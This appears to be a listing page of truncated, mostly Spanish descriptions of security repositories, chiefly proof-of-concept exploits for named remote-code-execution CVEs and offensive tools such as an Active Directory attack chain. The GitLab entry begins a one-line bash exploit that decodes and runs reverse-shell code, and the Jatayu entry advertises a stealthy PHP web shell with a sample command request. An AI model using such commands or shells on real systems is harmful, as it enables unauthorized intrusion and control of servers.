CVE-2023-25136

OpenSSH CVE-2023-25136 Doble liberación previa a la autenticación – Informe y PoC ¿Qué es OpenSSH? OpenSSH es una herramienta popular utilizada para la comunicación segura y el acceso remoto. Fue desarrollada como una implementación libre y de código abierto del protocolo de comunicaciones Secure...

securitybot

Securitybot ¡Alertas distribuidas para las masas! Securitybot es una implementación de código abierto de un chatbot de alertas distribuidas, como se describe en la publicación del blog de Ryan Huber. Las alertas distribuidas mejoran la eficiencia de monitoreo de tu equipo de seguridad y pueden...

CVE-2026-23918

CVE-2026-23918 Doble liberación en la limpieza de flujos de modhttp2 de Apache httpd que conduce a una ejecución remota de código RCE sin autenticación. Afectado: httpd 2.4.66 con modhttp2 y MPM de múltiples subprocesos event/worker. Corregido en: 2.4.67. Encontrado y reportado por Bartlomiej...

cpanel-sessionscribe

SessionScribe - CVE-2026-41940 RCE crítico no autenticado en cPanel & WHM. Cuatro solicitudes HTTP forjan una sesión root mediante inyección CRLF en el campo de contraseña de una sesión de preautenticación. Sin autenticación, sin precondiciones, todos los niveles compatibles afectados. Divulgado ...

Responder

⛔ OBSOLETO Activo en https://github.com/lgandx/Responder Responder.py LLMNR/NBT-NS/mDNS Envenenador Autor: Laurent Gaffie http://www.spiderlabs.com Introducción Responder es un envenenador de LLMNR, NBT-NS y mDNS. Responderá a consultas específicas de NBT-NS NetBIOS Name Service basadas en su...

certbot

.. This file contains a series of comments that are used to include sections of this README in other files. Do not modify these comments unless you know what you are doing. tag:intro-begin |build-status| .. |build-status| image::...

ad-autopwn

AD AutoPwn De Cero Autenticación a Administrador de Dominio — Cadena de Ataque Automatizada a Active Directory Una herramienta de pruebas de penetración completamente automatizada que encadena más de 25 técnicas de ataque para comprometer entornos de Active Directory. Diseñada para evaluaciones d...

CVE-2026-63030

wp2shell — RCE pre-autenticación en el núcleo de WordPress CVE-2026-63030 Confusión de ruta en lote + CVE-2026-60137 Inyección SQL Kit de explotación sin dependencias para la cadena de vulnerabilidades wp2shell en el núcleo de WordPress. Una única solicitud HTTP anónima logra la ejecución remota ...

Jatayu

JATAYU Shell PHP Autónomo Sigiloso CARACTERÍSTICAS Autenticación basada en cabeceras HTTP. 100% Indetectable. Cambiador de función Exec. Sin complicaciones. USO GET /test/jatayu.php?fn=1&&cmd=whoami Host : http://test.com Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 FUNCIONES PARÁMETRO| FUNCI...

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE Cisco SD-WAN Zero-Day CVE-2026-20127 explotado desde 2023 para acceso administrativo. Este repositorio contiene un exploit de prueba de concepto funcional para CVE-2026-20127, una vulnerabilidad crítica de pre-autenticación en Cisco Catalyst SD-WAN...

CVE-2024-50629_50631

CVE-2024-5062950631 Explotación N-day de RCE pre-autenticación en Synology BeeStation. Detalle: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 $ python3 poc.py 192.168.88.248 192.168.88.254...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Cadena de explotación de deserialización y omisión de autenticación en Telerik Report Server para CVE-2024-4358/CVE-2024-1800 Análisis técnico Un análisis de causa raíz de la vulnerabilidad se encuentra en mi blog poc Resumen ¿Versiones compatibles? Básicamente todas...

PKINITtools

PKINIT tools This repository contains some utilities for playing with PKINIT and certificates. The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ Installation These tools are only compatible with...

ConfluentPwn

ConfluentPwn Escáner de ejecución remota de código por inyección ONGL en Confluence sin autenticación previa CVE-2022-26134. Uso El siguiente GIF muestra un uso de demostración de la herramienta: Este es el resultado de la ayuda de la herramienta: $ ./cfscan -h +-------------------------------+ |...

CVE-2022-41082-POC

CVE-2022-41082-POC PoC para la vulnerabilidad CVE-2022-41082 NotProxyShell OWASSRF que afecta a los servidores Microsoft Exchange Se trata de un RCE posterior a la autenticación para ProxyNotShell OWASSRF, se necesitan credenciales válidas para la ejecución de comandos. Se agregó el script PoC de...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2018-16763

Exploit CVE 2018-16763 Introducción PreAuth-RCE en FUEL CMS 1.4.1 Demo Referencias: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Generador de artefactos de detección para Oracle E-Business Suite CVE-2025-61882 Consulte nuestra publicación en el blog para obtener detalles técnicos Detección en acción python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command...

tac_plus-pre-auth-rce

Vulnerabilidad de ejecución remota de comandos sin autenticación previa en tacplus Este repositorio contiene información sobre una vulnerabilidad de ejecución remota de comandos sin autenticación previa en diferentes implementaciones de código abierto de tacplus. Las siguientes dos bifurcaciones...

CVE-2023-49070

ofbiz-xmlrpc-rce CVE-2023-49070 PoC for the Apache OFBiz XML-RPC pre-auth deserialization RCE tracked as CVE-2023-49070: an authentication-bypass path unlocks the legacy /webtools/control/xmlrpc endpoint, which deserializes an attacker- controlled Java object smuggled inside an XML-RPC parameter...